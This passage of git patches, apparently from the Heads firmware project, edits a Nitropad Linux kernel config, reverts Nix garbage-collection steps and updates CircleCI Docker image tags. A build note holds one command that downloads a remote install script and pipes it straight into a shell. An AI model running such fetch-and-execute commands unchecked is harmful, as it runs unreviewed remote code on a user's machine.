set CONFIG_CRYPTO_CRC32C_INTEL=y -CONFIG_CRYPTO_CRC32_PCLMUL=m -CONFIG_CRYPTO_CRCT10DIF_PCLMUL=m +# CONFIG_CRYPTO_CRC32_PCLMUL is not set # end of Accelerated Cryptographic Algorithms for CPU (x86) # CONFIG_CRYPTO_HW is not set @@ -3031,8 +2795,9 @@ CONFIG_BITREVERSE=y CONFIG_GENERIC_STRNCPY_FROM_USER=y CONFIG_GENERIC_STRNLEN_USER=y CONFIG_GENERIC_NET_UTILS=y -CONFIG_CORDIC=m +# CONFIG_CORDIC is not set # CONFIG_PRIME_NUMBERS is not set +CONFIG_RATIONAL=y CONFIG_GENERIC_PCI_IOMAP=y CONFIG_GENERIC_IOMAP=y CONFIG_ARCH_USE_CMPXCHG_LOCKREF=y @@ -3044,27 +2809,21 @@ CONFIG_ARCH_USE_SYM_ANNOTATIONS=y # CONFIG_CRYPTO_LIB_UTILS=y CONFIG_CRYPTO_LIB_AES=y -CONFIG_CRYPTO_LIB_ARC4=m CONFIG_CRYPTO_LIB_BLAKE2S_GENERIC=y -CONFIG_CRYPTO_ARCH_HAVE_LIB_CHACHA=m -CONFIG_CRYPTO_LIB_CHACHA_GENERIC=m # CONFIG_CRYPTO_LIB_CHACHA is not set # CONFIG_CRYPTO_LIB_CURVE25519 is not set -CONFIG_CRYPTO_LIB_DES=m CONFIG_CRYPTO_LIB_POLY1305_RSIZE=11 -CONFIG_CRYPTO_ARCH_HAVE_LIB_POLY1305=m -CONFIG_CRYPTO_LIB_POLY1305_GENERIC=m # CONFIG_CRYPTO_LIB_POLY1305 is not set # CONFIG_CRYPTO_LIB_CHACHA20POLY1305 is not set CONFIG_CRYPTO_LIB_SHA1=y CONFIG_CRYPTO_LIB_SHA256=y # end of Crypto library routines -CONFIG_CRC_CCITT=m +# CONFIG_CRC_CCITT is not set CONFIG_CRC16=y -CONFIG_CRC_T10DIF=y +# CONFIG_CRC_T10DIF is not set # CONFIG_CRC64_ROCKSOFT is not set -CONFIG_CRC_ITU_T=m +# CONFIG_CRC_ITU_T is not set CONFIG_CRC32=y # CONFIG_CRC32_SELFTEST is not set CONFIG_CRC32_SLICEBY8=y @@ -3073,19 +2832,10 @@ CONFIG_CRC32_SLICEBY8=y # CONFIG_CRC32_BIT is not set # CONFIG_CRC64 is not set # CONFIG_CRC4 is not set -CONFIG_CRC7=m -# CONFIG_LIBCRC32C is not set -CONFIG_CRC8=m +# CONFIG_CRC7 is not set +CONFIG_LIBCRC32C=y +# CONFIG_CRC8 is not set # CONFIG_RANDOM32_SELFTEST is not set -CONFIG_842_COMPRESS=m -CONFIG_842_DECOMPRESS=m -CONFIG_ZLIB_INFLATE=m -CONFIG_ZLIB_DEFLATE=m -CONFIG_LZO_COMPRESS=y -CONFIG_LZO_DECOMPRESS=y -CONFIG_LZ4_COMPRESS=m -CONFIG_LZ4HC_COMPRESS=m -CONFIG_LZ4_DECOMPRESS=m CONFIG_XZ_DEC=y CONFIG_XZ_DEC_X86=y # CONFIG_XZ_DEC_POWERPC is not set @@ -3095,7 +2845,7 @@ CONFIG_XZ_DEC_X86=y # CONFIG_XZ_DEC_SPARC is not set # CONFIG_XZ_DEC_MICROLZMA is not set CONFIG_XZ_DEC_BCJ=y -CONFIG_XZ_DEC_TEST=m +# CONFIG_XZ_DEC_TEST is not set CONFIG_DECOMPRESS_XZ=y CONFIG_GENERIC_ALLOCATOR=y CONFIG_REED_SOLOMON=y @@ -3117,9 +2867,7 @@ CONFIG_DQL=y CONFIG_GLOB=y # CONFIG_GLOB_SELFTEST is not set CONFIG_NLATTR=y -CONFIG_CLZ_TAB=y -CONFIG_IRQ_POLL=y -CONFIG_MPILIB=m +# CONFIG_IRQ_POLL is not set CONFIG_UCS2_STRING=y CONFIG_HAVE_GENERIC_VDSO=y CONFIG_GENERIC_GETTIMEOFDAY=y @@ -3158,7 +2906,7 @@ CONFIG_SYMBOLIC_ERRNAME=y # end of printk and dmesg options CONFIG_DEBUG_KERNEL=y -CONFIG_DEBUG_MISC=y +# CONFIG_DEBUG_MISC is not set # # Compile-time checks and compiler options @@ -3270,7 +3018,6 @@ CONFIG_WQ_WATCHDOG=y # end of Scheduler Debugging # CONFIG_DEBUG_TIMEKEEPING is not set -CONFIG_DEBUG_PREEMPT=y # # Lock Debugging (spinlocks, mutexes, etc...) @@ -3382,47 +3129,7 @@ CONFIG_UNWINDER_ORC=y CONFIG_ARCH_HAS_KCOV=y CONFIG_CC_HAS_SANCOV_TRACE_PC=y # CONFIG_KCOV is not set -CONFIG_RUNTIME_TESTING_MENU=y -# CONFIG_TEST_MIN_HEAP is not set -# CONFIG_TEST_DIV64 is not set -# CONFIG_BACKTRACE_SELF_TEST is not set -# CONFIG_TEST_REF_TRACKER is not set -# CONFIG_RBTREE_TEST is not set -# CONFIG_REED_SOLOMON_TEST is not set -# CONFIG_INTERVAL_TREE_TEST is not set -# CONFIG_PERCPU_TEST is not set -# CONFIG_ATOMIC64_SELFTEST is not set -# CONFIG_TEST_HEXDUMP is not set -# CONFIG_STRING_SELFTEST is not set -# CONFIG_TEST_STRING_HELPERS is not set -# CONFIG_TEST_STRSCPY is not set -# CONFIG_TEST_KSTRTOX is not set -# CONFIG_TEST_PRINTF is not set -# CONFIG_TEST_SCANF is not set -# CONFIG_TEST_BITMAP is not set -# CONFIG_TEST_UUID is not set -# CONFIG_TEST_XARRAY is not set -# CONFIG_TEST_MAPLE_TREE is not set -# CONFIG_TEST_RHASHTABLE is not set -# CONFIG_TEST_SIPHASH is not set -# CONFIG_TEST_IDA is not set -# CONFIG_TEST_LKM is not set -# CONFIG_TEST_BITOPS is not set -# CONFIG_TEST_VMALLOC is not set -# CONFIG_TEST_USER_COPY is not set -# CONFIG_TEST_BPF is not set -# CONFIG_TEST_BLACKHOLE_DEV is not set -# CONFIG_FIND_BIT_BENCHMARK is not set -# CONFIG_TEST_FIRMWARE is not set -# CONFIG_TEST_SYSCTL is not set -# CONFIG_TEST_UDELAY is not set -# CONFIG_TEST_STATIC_KEYS is not set -# CONFIG_TEST_KMOD is not set -# CONFIG_TEST_MEMCAT_P is not set -# CONFIG_TEST_MEMINIT is not set -# CONFIG_TEST_FREE_PAGES is not set -# CONFIG_TEST_FPU is not set -# CONFIG_TEST_CLOCKSOURCE_WATCHDOG is not set +# CONFIG_RUNTIME_TESTING_MENU is not set CONFIG_ARCH_USE_MEMTEST=y # CONFIG_MEMTEST is not set # end of Kernel Testing and Coverage From b65e8bf66d02055703b63dd04de5701c4d6f204c Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Fri, 3 May 2024 13:53:13 -0400 Subject: [PATCH 108/619] nv41/ns50 shared linux config: reenable I2C, not even sure if needed git difftool -d HEAD^ to check config against previous version (librem shared config), noticed I2C options being maybe relevant, added them back in Then saved with make BOARD=nitropad-ns50 linux.modify_and_save_oldconfig_in_place Signed-off-by: Thierry Laurion --- config/linux-nitropad-x.config | 266 ++++++++++++++++++++++++++++++++- 1 file changed, 262 insertions(+), 4 deletions(-) diff --git a/config/linux-nitropad-x.config b/config/linux-nitropad-x.config index 70590d5b1..8871b8bdc 100644 --- a/config/linux-nitropad-x.config +++ b/config/linux-nitropad-x.config @@ -1079,12 +1079,22 @@ CONFIG_BLK_DEV_NVME=y # # Misc devices # +# CONFIG_AD525X_DPOT is not set # CONFIG_DUMMY_IRQ is not set # CONFIG_IBM_ASM is not set # CONFIG_PHANTOM is not set # CONFIG_TIFM_CORE is not set +# CONFIG_ICS932S401 is not set # CONFIG_ENCLOSURE_SERVICES is not set # CONFIG_HP_ILO is not set +# CONFIG_APDS9802ALS is not set +# CONFIG_ISL29003 is not set +# CONFIG_ISL29020 is not set +# CONFIG_SENSORS_TSL2550 is not set +# CONFIG_SENSORS_BH1770 is not set +# CONFIG_SENSORS_APDS990X is not set +# CONFIG_HMC6352 is not set +# CONFIG_DS1682 is not set # CONFIG_SRAM is not set # CONFIG_DW_XDATA_PCIE is not set # CONFIG_PCI_ENDPOINT_TEST is not set @@ -1094,7 +1104,12 @@ CONFIG_BLK_DEV_NVME=y # # EEPROM support # +# CONFIG_EEPROM_AT24 is not set +# CONFIG_EEPROM_LEGACY is not set +# CONFIG_EEPROM_MAX6875 is not set # CONFIG_EEPROM_93CX6 is not set +# CONFIG_EEPROM_IDT_89HPESX is not set +# CONFIG_EEPROM_EE1004 is not set # end of EEPROM support # CONFIG_CB710_CORE is not set @@ -1104,9 +1119,8 @@ CONFIG_BLK_DEV_NVME=y # # end of Texas Instruments shared transport line discipline -# -# Altera FPGA firmware download module (requires I2C) -# +# CONFIG_SENSORS_LIS3_I2C is not set +# CONFIG_ALTERA_STAPL is not set # CONFIG_INTEL_MEI is not set # CONFIG_INTEL_MEI_ME is not set # CONFIG_INTEL_MEI_TXE is not set @@ -1481,14 +1495,27 @@ CONFIG_INPUT_VIVALDIFMAP=y # Input Device Drivers # CONFIG_INPUT_KEYBOARD=y +# CONFIG_KEYBOARD_ADP5588 is not set +# CONFIG_KEYBOARD_ADP5589 is not set CONFIG_KEYBOARD_ATKBD=y +# CONFIG_KEYBOARD_QT1050 is not set +# CONFIG_KEYBOARD_QT1070 is not set +# CONFIG_KEYBOARD_QT2160 is not set +# CONFIG_KEYBOARD_DLINK_DIR685 is not set # CONFIG_KEYBOARD_LKKBD is not set +# CONFIG_KEYBOARD_TCA6416 is not set +# CONFIG_KEYBOARD_TCA8418 is not set +# CONFIG_KEYBOARD_LM8333 is not set +# CONFIG_KEYBOARD_MAX7359 is not set +# CONFIG_KEYBOARD_MCS is not set +# CONFIG_KEYBOARD_MPR121 is not set # CONFIG_KEYBOARD_NEWTON is not set # CONFIG_KEYBOARD_OPENCORES is not set # CONFIG_KEYBOARD_SAMSUNG is not set # CONFIG_KEYBOARD_STOWAWAY is not set # CONFIG_KEYBOARD_SUNKBD is not set # CONFIG_KEYBOARD_XTKBD is not set +# CONFIG_KEYBOARD_CYPRESS_SF is not set # CONFIG_INPUT_MOUSE is not set # CONFIG_INPUT_JOYSTICK is not set # CONFIG_INPUT_TABLET is not set @@ -1555,6 +1582,7 @@ CONFIG_SERIAL_CORE=y # CONFIG_SERIAL_JSM is not set # CONFIG_SERIAL_LANTIQ is not set # CONFIG_SERIAL_SCCNXP is not set +# CONFIG_SERIAL_SC16IS7XX is not set # CONFIG_SERIAL_ALTERA_JTAGUART is not set # CONFIG_SERIAL_ALTERA_UART is not set # CONFIG_SERIAL_ARC is not set @@ -1573,6 +1601,7 @@ CONFIG_TTY_PRINTK=y CONFIG_TTY_PRINTK_LEVEL=6 # CONFIG_VIRTIO_CONSOLE is not set # CONFIG_IPMI_HANDLER is not set +# CONFIG_IPMB_DEVICE_INTERFACE is not set CONFIG_HW_RANDOM=y # CONFIG_HW_RANDOM_TIMERIOMEM is not set CONFIG_HW_RANDOM_INTEL=y @@ -1591,11 +1620,17 @@ CONFIG_TCG_TPM=y # CONFIG_HW_RANDOM_TPM is not set CONFIG_TCG_TIS_CORE=y CONFIG_TCG_TIS=y +# CONFIG_TCG_TIS_I2C is not set +# CONFIG_TCG_TIS_I2C_CR50 is not set +# CONFIG_TCG_TIS_I2C_ATMEL is not set +# CONFIG_TCG_TIS_I2C_INFINEON is not set +# CONFIG_TCG_TIS_I2C_NUVOTON is not set # CONFIG_TCG_NSC is not set # CONFIG_TCG_ATMEL is not set # CONFIG_TCG_INFINEON is not set # CONFIG_TCG_CRB is not set # CONFIG_TCG_VTPM_PROXY is not set +# CONFIG_TCG_TIS_ST33ZP24_I2C is not set # CONFIG_TELCLOCK is not set # CONFIG_XILLYBUS is not set # CONFIG_XILLYUSB is not set @@ -1606,7 +1641,98 @@ CONFIG_RANDOM_TRUST_CPU=y # # I2C support # -# CONFIG_I2C is not set +CONFIG_I2C=y +CONFIG_ACPI_I2C_OPREGION=y +CONFIG_I2C_BOARDINFO=y +# CONFIG_I2C_COMPAT is not set +# CONFIG_I2C_CHARDEV is not set +CONFIG_I2C_MUX=m + +# +# Multiplexer I2C Chip support +# +# CONFIG_I2C_MUX_LTC4306 is not set +CONFIG_I2C_MUX_PCA9541=m +CONFIG_I2C_MUX_REG=m +# CONFIG_I2C_MUX_MLXCPLD is not set +# end of Multiplexer I2C Chip support + +# CONFIG_I2C_HELPER_AUTO is not set +# CONFIG_I2C_SMBUS is not set + +# +# I2C Algorithms +# +CONFIG_I2C_ALGOBIT=y +# CONFIG_I2C_ALGOPCF is not set +# CONFIG_I2C_ALGOPCA is not set +# end of I2C Algorithms + +# +# I2C Hardware Bus support +# + +# +# PC SMBus host controller drivers +# +# CONFIG_I2C_ALI1535 is not set +# CONFIG_I2C_ALI1563 is not set +# CONFIG_I2C_ALI15X3 is not set +# CONFIG_I2C_AMD756 is not set +# CONFIG_I2C_AMD8111 is not set +# CONFIG_I2C_AMD_MP2 is not set +# CONFIG_I2C_I801 is not set +# CONFIG_I2C_ISCH is not set +# CONFIG_I2C_ISMT is not set +# CONFIG_I2C_PIIX4 is not set +# CONFIG_I2C_NFORCE2 is not set +# CONFIG_I2C_NVIDIA_GPU is not set +# CONFIG_I2C_SIS5595 is not set +# CONFIG_I2C_SIS630 is not set +# CONFIG_I2C_SIS96X is not set +# CONFIG_I2C_VIA is not set +# CONFIG_I2C_VIAPRO is not set + +# +# ACPI drivers +# +# CONFIG_I2C_SCMI is not set + +# +# I2C system bus drivers (mostly embedded / system-on-chip) +# +# CONFIG_I2C_DESIGNWARE_PLATFORM is not set +# CONFIG_I2C_DESIGNWARE_PCI is not set +# CONFIG_I2C_EMEV2 is not set +# CONFIG_I2C_OCORES is not set +# CONFIG_I2C_PCA_PLATFORM is not set +# CONFIG_I2C_SIMTEC is not set +# CONFIG_I2C_XILINX is not set + +# +# External I2C/SMBus adapter drivers +# +# CONFIG_I2C_DIOLAN_U2C is not set +# CONFIG_I2C_CP2615 is not set +# CONFIG_I2C_PCI1XXXX is not set +# CONFIG_I2C_ROBOTFUZZ_OSIF is not set +# CONFIG_I2C_TAOS_EVM is not set +# CONFIG_I2C_TINY_USB is not set + +# +# Other I2C/SMBus bus drivers +# +# CONFIG_I2C_MLXCPLD is not set +# CONFIG_I2C_VIRTIO is not set +# end of I2C Hardware Bus support + +# CONFIG_I2C_STUB is not set +CONFIG_I2C_SLAVE=y +# CONFIG_I2C_SLAVE_EEPROM is not set +# CONFIG_I2C_SLAVE_TESTUNIT is not set +# CONFIG_I2C_DEBUG_CORE is not set +# CONFIG_I2C_DEBUG_ALGO is not set +# CONFIG_I2C_DEBUG_BUS is not set # end of I2C support # CONFIG_I3C is not set @@ -1633,13 +1759,29 @@ CONFIG_PTP_1588_CLOCK_OPTIONAL=y CONFIG_POWER_SUPPLY=y # CONFIG_POWER_SUPPLY_DEBUG is not set # CONFIG_PDA_POWER is not set +# CONFIG_IP5XXX_POWER is not set # CONFIG_TEST_POWER is not set +# CONFIG_CHARGER_ADP5061 is not set +# CONFIG_BATTERY_CW2015 is not set # CONFIG_BATTERY_DS2780 is not set # CONFIG_BATTERY_DS2781 is not set +# CONFIG_BATTERY_DS2782 is not set # CONFIG_BATTERY_SAMSUNG_SDI is not set +# CONFIG_BATTERY_SBS is not set +# CONFIG_CHARGER_SBS is not set # CONFIG_BATTERY_BQ27XXX is not set +# CONFIG_BATTERY_MAX17040 is not set +# CONFIG_BATTERY_MAX17042 is not set # CONFIG_CHARGER_MAX8903 is not set +# CONFIG_CHARGER_LP8727 is not set +# CONFIG_CHARGER_LTC4162L is not set +# CONFIG_CHARGER_MAX77976 is not set +# CONFIG_CHARGER_BQ2415X is not set +# CONFIG_BATTERY_GAUGE_LTC2941 is not set # CONFIG_BATTERY_GOLDFISH is not set +# CONFIG_BATTERY_RT5033 is not set +# CONFIG_CHARGER_BD99954 is not set +# CONFIG_BATTERY_UG3105 is not set # CONFIG_HWMON is not set CONFIG_THERMAL=y # CONFIG_THERMAL_NETLINK is not set @@ -1684,8 +1826,21 @@ CONFIG_BCMA_POSSIBLE=y # # Multifunction device drivers # +# CONFIG_MFD_AS3711 is not set +# CONFIG_PMIC_ADP5520 is not set +# CONFIG_MFD_BCM590XX is not set +# CONFIG_MFD_BD9571MWV is not set +# CONFIG_MFD_AXP20X_I2C is not set # CONFIG_MFD_MADERA is not set +# CONFIG_PMIC_DA903X is not set +# CONFIG_MFD_DA9052_I2C is not set +# CONFIG_MFD_DA9055 is not set +# CONFIG_MFD_DA9062 is not set +# CONFIG_MFD_DA9063 is not set +# CONFIG_MFD_DA9150 is not set # CONFIG_MFD_DLN2 is not set +# CONFIG_MFD_MC13XXX_I2C is not set +# CONFIG_MFD_MP2629 is not set # CONFIG_HTC_PASIC3 is not set # CONFIG_MFD_INTEL_QUARK_I2C_GPIO is not set # CONFIG_LPC_ICH is not set @@ -1693,16 +1848,60 @@ CONFIG_BCMA_POSSIBLE=y # CONFIG_MFD_INTEL_LPSS_ACPI is not set # CONFIG_MFD_INTEL_LPSS_PCI is not set # CONFIG_MFD_INTEL_PMC_BXT is not set +# CONFIG_MFD_IQS62X is not set # CONFIG_MFD_JANZ_CMODIO is not set # CONFIG_MFD_KEMPLD is not set +# CONFIG_MFD_88PM800 is not set +# CONFIG_MFD_88PM805 is not set +# CONFIG_MFD_88PM860X is not set +# CONFIG_MFD_MAX14577 is not set +# CONFIG_MFD_MAX77693 is not set +# CONFIG_MFD_MAX77843 is not set +# CONFIG_MFD_MAX8907 is not set +# CONFIG_MFD_MAX8925 is not set +# CONFIG_MFD_MAX8997 is not set +# CONFIG_MFD_MAX8998 is not set +# CONFIG_MFD_MT6360 is not set +# CONFIG_MFD_MT6370 is not set # CONFIG_MFD_MT6397 is not set +# CONFIG_MFD_MENF21BMC is not set # CONFIG_MFD_VIPERBOARD is not set +# CONFIG_MFD_RETU is not set +# CONFIG_MFD_PCF50633 is not set +# CONFIG_MFD_SY7636A is not set # CONFIG_MFD_RDC321X is not set +# CONFIG_MFD_RT4831 is not set +# CONFIG_MFD_RT5033 is not set +# CONFIG_MFD_RT5120 is not set +# CONFIG_MFD_RC5T583 is not set +# CONFIG_MFD_SI476X_CORE is not set # CONFIG_MFD_SM501 is not set +# CONFIG_MFD_SKY81452 is not set CONFIG_MFD_SYSCON=y # CONFIG_MFD_TI_AM335X_TSCADC is not set +# CONFIG_MFD_LP3943 is not set +# CONFIG_MFD_LP8788 is not set +# CONFIG_MFD_TI_LMU is not set +# CONFIG_MFD_PALMAS is not set +# CONFIG_TPS6105X is not set +# CONFIG_TPS6507X is not set +# CONFIG_MFD_TPS65086 is not set +# CONFIG_MFD_TPS65090 is not set +# CONFIG_MFD_TI_LP873X is not set +# CONFIG_MFD_TPS6586X is not set +# CONFIG_MFD_TPS65912_I2C is not set +# CONFIG_TWL4030_CORE is not set +# CONFIG_TWL6040_CORE is not set +# CONFIG_MFD_WL1273_CORE is not set +# CONFIG_MFD_LM3533 is not set # CONFIG_MFD_TQMX86 is not set # CONFIG_MFD_VX855 is not set +# CONFIG_MFD_ARIZONA_I2C is not set +# CONFIG_MFD_WM8400 is not set +# CONFIG_MFD_WM831X_I2C is not set +# CONFIG_MFD_WM8350_I2C is not set +# CONFIG_MFD_WM8994 is not set +# CONFIG_MFD_ATC260X_I2C is not set # end of Multifunction device drivers # CONFIG_REGULATOR is not set @@ -1800,6 +1999,12 @@ CONFIG_BACKLIGHT_CLASS_DEVICE=y # CONFIG_BACKLIGHT_APPLE is not set # CONFIG_BACKLIGHT_QCOM_WLED is not set # CONFIG_BACKLIGHT_SAHARA is not set +# CONFIG_BACKLIGHT_ADP8860 is not set +# CONFIG_BACKLIGHT_ADP8870 is not set +# CONFIG_BACKLIGHT_LM3639 is not set +# CONFIG_BACKLIGHT_LV5207LP is not set +# CONFIG_BACKLIGHT_BD6107 is not set +# CONFIG_BACKLIGHT_ARCXCNN is not set # end of Backlight & LCD device support # @@ -1933,6 +2138,12 @@ CONFIG_USB_HID=m # end of USB HID Boot Protocol drivers # end of USB HID support +# +# I2C HID support +# +# CONFIG_I2C_HID_ACPI is not set +# end of I2C HID support + # # Intel ISH HID support # @@ -2064,6 +2275,9 @@ CONFIG_USB_STORAGE=m # CONFIG_USB_ISIGHTFW is not set # CONFIG_USB_YUREX is not set # CONFIG_USB_EZUSB_FX2 is not set +# CONFIG_USB_HUB_USB251XB is not set +# CONFIG_USB_HSIC_USB3503 is not set +# CONFIG_USB_HSIC_USB4604 is not set # CONFIG_USB_LINK_LAYER_TEST is not set # CONFIG_USB_CHAOSKEY is not set @@ -2071,6 +2285,7 @@ CONFIG_USB_STORAGE=m # USB Physical Layer drivers # # CONFIG_NOP_USB_XCEIV is not set +# CONFIG_USB_ISP1301 is not set # end of USB Physical Layer drivers # CONFIG_USB_GADGET is not set @@ -2106,14 +2321,47 @@ CONFIG_RTC_INTF_DEV=y # # I2C RTC drivers # +# CONFIG_RTC_DRV_ABB5ZES3 is not set +# CONFIG_RTC_DRV_ABEOZ9 is not set +# CONFIG_RTC_DRV_ABX80X is not set +# CONFIG_RTC_DRV_DS1307 is not set +# CONFIG_RTC_DRV_DS1374 is not set +# CONFIG_RTC_DRV_DS1672 is not set +# CONFIG_RTC_DRV_MAX6900 is not set +# CONFIG_RTC_DRV_RS5C372 is not set +# CONFIG_RTC_DRV_ISL1208 is not set +# CONFIG_RTC_DRV_ISL12022 is not set +# CONFIG_RTC_DRV_X1205 is not set +# CONFIG_RTC_DRV_PCF8523 is not set +# CONFIG_RTC_DRV_PCF85063 is not set +# CONFIG_RTC_DRV_PCF85363 is not set +# CONFIG_RTC_DRV_PCF8563 is not set +# CONFIG_RTC_DRV_PCF8583 is not set +# CONFIG_RTC_DRV_M41T80 is not set +# CONFIG_RTC_DRV_BQ32K is not set +# CONFIG_RTC_DRV_S35390A is not set +# CONFIG_RTC_DRV_FM3130 is not set +# CONFIG_RTC_DRV_RX8010 is not set +# CONFIG_RTC_DRV_RX8581 is not set +# CONFIG_RTC_DRV_RX8025 is not set +# CONFIG_RTC_DRV_EM3027 is not set +# CONFIG_RTC_DRV_RV3028 is not set +# CONFIG_RTC_DRV_RV3032 is not set +# CONFIG_RTC_DRV_RV8803 is not set +# CONFIG_RTC_DRV_SD3078 is not set # # SPI RTC drivers # +CONFIG_RTC_I2C_AND_SPI=y # # SPI and I2C RTC drivers # +# CONFIG_RTC_DRV_DS3232 is not set +# CONFIG_RTC_DRV_PCF2127 is not set +# CONFIG_RTC_DRV_RV3029C2 is not set +# CONFIG_RTC_DRV_RX6110 is not set # # Platform RTC drivers @@ -2175,6 +2423,7 @@ CONFIG_SYNC_FILE=y # CONFIG_CHROME_PLATFORMS is not set # CONFIG_MELLANOX_PLATFORM is not set CONFIG_SURFACE_PLATFORMS=y +# CONFIG_SURFACE_3_POWER_OPREGION is not set # CONFIG_SURFACE_GPE is not set # CONFIG_SURFACE_PRO3_BUTTON is not set CONFIG_X86_PLATFORM_DEVICES=y @@ -2210,6 +2459,8 @@ CONFIG_X86_PLATFORM_DEVICES=y # CONFIG_INTEL_UNCORE_FREQ_CONTROL is not set # end of Intel Uncore Frequency Control +# CONFIG_INTEL_HID_EVENT is not set +# CONFIG_INTEL_VBTN is not set # CONFIG_INTEL_PUNIT_IPC is not set # CONFIG_INTEL_RST is not set # CONFIG_INTEL_SMARTCONNECT is not set @@ -2222,6 +2473,7 @@ CONFIG_X86_PLATFORM_DEVICES=y # CONFIG_ACPI_CMPC is not set # CONFIG_PANASONIC_LAPTOP is not set # CONFIG_TOPSTAR_LAPTOP is not set +# CONFIG_MLX_PLATFORM is not set # CONFIG_INTEL_IPS is not set # CONFIG_INTEL_SCU_PCI is not set # CONFIG_INTEL_SCU_PLATFORM is not set @@ -2231,6 +2483,12 @@ CONFIG_X86_PLATFORM_DEVICES=y CONFIG_HAVE_CLK=y CONFIG_HAVE_CLK_PREPARE=y CONFIG_COMMON_CLK=y +# CONFIG_COMMON_CLK_MAX9485 is not set +# CONFIG_COMMON_CLK_SI5341 is not set +# CONFIG_COMMON_CLK_SI5351 is not set +# CONFIG_COMMON_CLK_SI544 is not set +# CONFIG_COMMON_CLK_CDCE706 is not set +# CONFIG_COMMON_CLK_CS2000_CP is not set # CONFIG_XILINX_VCU is not set # CONFIG_HWSPINLOCK is not set From 0b7ce534a8f662d31fc4cd494a216e08551b5509 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Fri, 3 May 2024 14:13:39 -0400 Subject: [PATCH 109/619] WiP: revert garbage collector within nix environment. Doesn;t help and makes the docker image bigger TODO: push v0.1.2 with those changes pointing circleci to use it Signed-off-by: Thierry Laurion --- NIX_REPRO_NOTES | 13 +++++++------ flake.nix | 34 ++++++++-------------------------- 2 files changed, 15 insertions(+), 32 deletions(-) diff --git a/NIX_REPRO_NOTES b/NIX_REPRO_NOTES index 7b7b9b0c8..af127a8e8 100644 --- a/NIX_REPRO_NOTES +++ b/NIX_REPRO_NOTES @@ -59,11 +59,12 @@ docker push tlaurion/heads-dev-env:v0.0.3 ------------------- -#To create the docker image, I was not able to set gcroot dynamically, so here are the manual steps so nix is not wiped per garbage collector -mkdir -p /nix/var/nix/gcroots/per-user/$(whoami) -ln -sfn $(readlink -f $HOME/.nix-profile) /nix/var/nix/gcroots/per-user/$(whoami)/profile +#To create the docker image, using garbage collector didn't help and made the size of the image grow bigger?! not using it reverting to what worked +# produced image without garbage collector was 990 Mb image, with it (and stripping which is already done by nix builder...) its 1006Mb. Over my head +sh <(curl -L https://nixos.org/nix/install) --no-daemon + . /home/user/.nix-profile/etc/profile.d/nix.sh -#And then build derivates and cal garbarrge collection (not yet successfull since docker build fails now) +#And then build derivates nix build .#dockerImage && docker load < result && docker run --network host --rm -ti -v $(pwd):$(pwd) -w $(pwd) linuxboot/heads:dev-env #Use it @@ -72,6 +73,6 @@ docker run -e DISPLAY=$DISPLAY --network host --rm -ti -v $(pwd):$(pwd) -w $(pwd #push it docker login -docker tag linuxboot/heads:dev-env tlaurion/heads-dev-env:v0.0.9 -docker push tlaurion/heads-dev-env:v0.0.9 +docker tag linuxboot/heads:dev-env tlaurion/heads-dev-env:v0.1.2 +docker push tlaurion/heads-dev-env:v0.1.2 diff --git a/flake.nix b/flake.nix index 8f110f67d..325193a03 100644 --- a/flake.nix +++ b/flake.nix @@ -85,25 +85,10 @@ sudo # ( °-° ) upx ]; - - # Stripping binaries to reduce size, while ensuring functionality is not affected. - stripBinaries = map (pkg: if pkg?isDerivation then pkg.overrideAttrs (oldAttrs: { - postInstall = oldAttrs.postInstall or "" + '' - strip $out/bin/* || true - ''; - }) else pkg) deps; - in { # The development shell includes all the dependencies. devShell = pkgs.mkShellNoCC { - buildInputs = stripBinaries ++ [ pkgs.nix ]; # Include the Nix package to provide nix-collect-garbage. - shellHook = '' - # Create a garbage collection root for the Nix profile - mkdir -p /nix/var/nix/gcroots/per-user/$(whoami) - echo $(readlink -f $HOME/.nix-profile) > /nix/var/nix/gcroots/per-user/$(whoami)/profile - # Perform garbage collection to clean up any unnecessary files. - nix-collect-garbage -d - ''; + buildInputs = deps; }; # myDevShell outputs environment variables necessary for development. @@ -123,20 +108,17 @@ # Docker image configuration for the Heads project. packages.dockerImage = pkgs.dockerTools.buildLayeredImage { - name = "linuxboot/heads"; # Image name. - tag = "dev-env"; # Image tag. - config.Entrypoint = ["bash" "-c" ''source /devenv.sh; if (( $# == 0 )); then exec bash; else exec "$0" "$@"; fi'']; # Entrypoint configuration. - - # Contents of the Docker image, including stripped binaries for size optimization. - contents = stripBinaries ++ [ + name = "linuxboot/heads"; + tag = "dev-env"; + config.Entrypoint = ["bash" "-c" ''source /devenv.sh; if (( $# == 0 )); then exec bash; else exec "$0" "$@"; fi'']; + contents = + deps + ++ [ pkgs.dockerTools.binSh pkgs.dockerTools.caCertificates pkgs.dockerTools.usrBinEnv ]; - - enableFakechroot = true; # Enable fakechroot for compatibility. - - # Fake root commands to set up the environment inside the Docker image. + enableFakechroot = true; fakeRootCommands = #bash '' From 2b2356e87e3df9569e74dd45f4bf79dd14f21287 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Fri, 3 May 2024 15:00:26 -0400 Subject: [PATCH 110/619] CircleCI: use tlaurion/heads-dev-env:v0.1.1 which reverts nix attempt of garbage collection inside of nix prior of making the docker Signed-off-by: Thierry Laurion --- .circleci/config.yml | 8 ++++---- NIX_REPRO_NOTES | 11 +++++++++-- 2 files changed, 13 insertions(+), 6 deletions(-) diff --git a/.circleci/config.yml b/.circleci/config.yml index 1e2af08b0..62751f4c3 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -45,7 +45,7 @@ commands: jobs: prep_env: docker: - - image: tlaurion/heads-dev-env:v0.0.9 + - image: tlaurion/heads-dev-env:v0.1.1 resource_class: large working_directory: ~/heads steps: @@ -111,7 +111,7 @@ jobs: build_and_persist: docker: - - image: tlaurion/heads-dev-env:v0.0.9 + - image: tlaurion/heads-dev-env:v0.1.1 resource_class: large working_directory: ~/heads parameters: @@ -139,7 +139,7 @@ jobs: build: docker: - - image: tlaurion/heads-dev-env:v0.0.9 + - image: tlaurion/heads-dev-env:v0.1.1 resource_class: large working_directory: ~/heads parameters: @@ -160,7 +160,7 @@ jobs: save_cache: docker: - - image: tlaurion/heads-dev-env:v0.0.9 + - image: tlaurion/heads-dev-env:v0.1.1 resource_class: large working_directory: ~/heads steps: diff --git a/NIX_REPRO_NOTES b/NIX_REPRO_NOTES index af127a8e8..b96382183 100644 --- a/NIX_REPRO_NOTES +++ b/NIX_REPRO_NOTES @@ -61,6 +61,9 @@ docker push tlaurion/heads-dev-env:v0.0.3 #To create the docker image, using garbage collector didn't help and made the size of the image grow bigger?! not using it reverting to what worked # produced image without garbage collector was 990 Mb image, with it (and stripping which is 